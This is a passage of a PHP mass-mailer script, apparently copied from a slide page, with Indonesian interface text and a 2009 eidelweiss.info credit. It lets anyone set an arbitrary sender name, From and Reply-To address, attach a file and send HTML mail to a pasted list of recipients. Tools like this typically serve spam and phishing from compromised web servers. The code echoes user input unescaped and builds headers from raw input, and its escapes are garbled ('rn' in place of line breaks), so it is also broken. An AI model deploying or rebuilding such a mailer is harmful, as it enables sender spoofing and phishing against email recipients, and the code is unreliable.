  • 2. $file_name=$_POST['file']; $contenttype=$_POST['contenttype']; $message = urlencode($message); $message = ereg_replace("%5C%22", "%22", $message); $message = urldecode($message); $message = stripslashes($message); $subject = stripslashes($subject); } ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type="text/css"> <!-- .style1 { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; } --> </style> <style type="text/css"> <!-- .style1 { font-size: 20px; font-family: Geneva, Arial, Helvetica, sans-serif; } --> </style> </head> <body bgcolor="#006699" text="#ffffff"> <span class="style1"><center> | + | Mailer Inbox | + | </center> <br></span></p> <form name="form1" method="post" action="" enctype="multipart/form-data"> <input type="hidden" name="action" value="send"> <br> <table width="100%" border="0"> <tr> <td width="10%"> <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Email:</font></div> </td> <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, sans- serif"> <input type="text" name="from" value="<? print $from; ?>" size="30"> </font></td> <td width="31%"> <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Nama:</font></div> </td> <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans- serif"> <input type="text" name="realname" value="<? print $realname; ?>" size="30"> </font></td> </tr> <tr> <td width="10%"> <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply:</font></div> </td>
  • 3. <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, sans- serif"> <input type="text" name="replyto" value="<? print $replyto; ?>" size="30"> </font></td> <td width="31%"> <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File:</font></div> </td> <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans- serif"> <input type="file" name="file" size="30"> </font></td> </tr> <tr> <td width="10%"> <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div> </td> <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, sans- serif"> <input type="text" name="subject" value="<? print $subject; ?>" size="109"> </font></td> </tr> <tr> <td width="10%" valign="top"> <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Mail:</font></div> </td> <td width="18%" valign="top"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <textarea name="message" cols="50" rows="10"><? print $message; ? ></textarea> <br> <input type="radio" name="contenttype" value="plain"> Text <input name="contenttype" type="radio" value="html" checked> HTML <input type="submit" value="Send to Inbox"> </font></td> <td width="31%" valign="top"> <div align="right"> <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Mail to:</font></div> </td> <td width="41%" valign="top"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <textarea name="emaillist" cols="30" rows="10"><? print $emaillist; ? ></textarea></font></td> </tr> </table> </form> <? if ($action){ if (!$from && !$subject && !$message && !$emaillist){ print "Please complete all fields before sending your message."; exit; } $allemails = split("n", $emaillist); $numemails = count($allemails);
  • 4. for($x=0; $x<$numemails; $x++){ $to = $allemails[$x]; if ($to){ $to = ereg_replace(" ", "", $to); $message = ereg_replace("&email&", $to, $message); $subject = ereg_replace("&email&", $to, $subject); print " $to......."; flush(); $header = "From: $realname <$from>rnReply-To: $replytorn"; $header .= "MIME-Version: 1.0rn"; If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uidrn"; If ($file_name) $header .= "--$uidrn"; $header .= "Content-Type: text/$contenttypern"; $header .= "Content-Transfer-Encoding: 8bitrnrn"; $header .= "$messagern"; If ($file_name) $header .= "--$uidrn"; If ($file_name) $header .= "Content-Type: $file_type; name="$file_name"rn"; If ($file_name) $header .= "Content-Transfer-Encoding: base64rn"; If ($file_name) $header .= "Content-Disposition: attachment; filename="$file_name"rnrn"; If ($file_name) $header .= "$contentrn"; If ($file_name) $header .= "--$uid--"; mail($to, $subject, "", $header); print "Terkirim<br>"; flush(); } } } ?> <style type="text/css"> <!-- .style1 { font-size: 20px; font-family: Geneva, Arial, Helvetica, sans-serif; } --> </style><center> <p class="style1">Copyright © 2009 eidelweiss.info</center></p> <?php if(isset($_POST['action']) && $numemails !==0 ){echo "<script>alert('Semua Email telah dikirimrnTotal Email terkirim $numemailsrnKlik OK n say mailer ok'); </script>";} ?> </body> </html>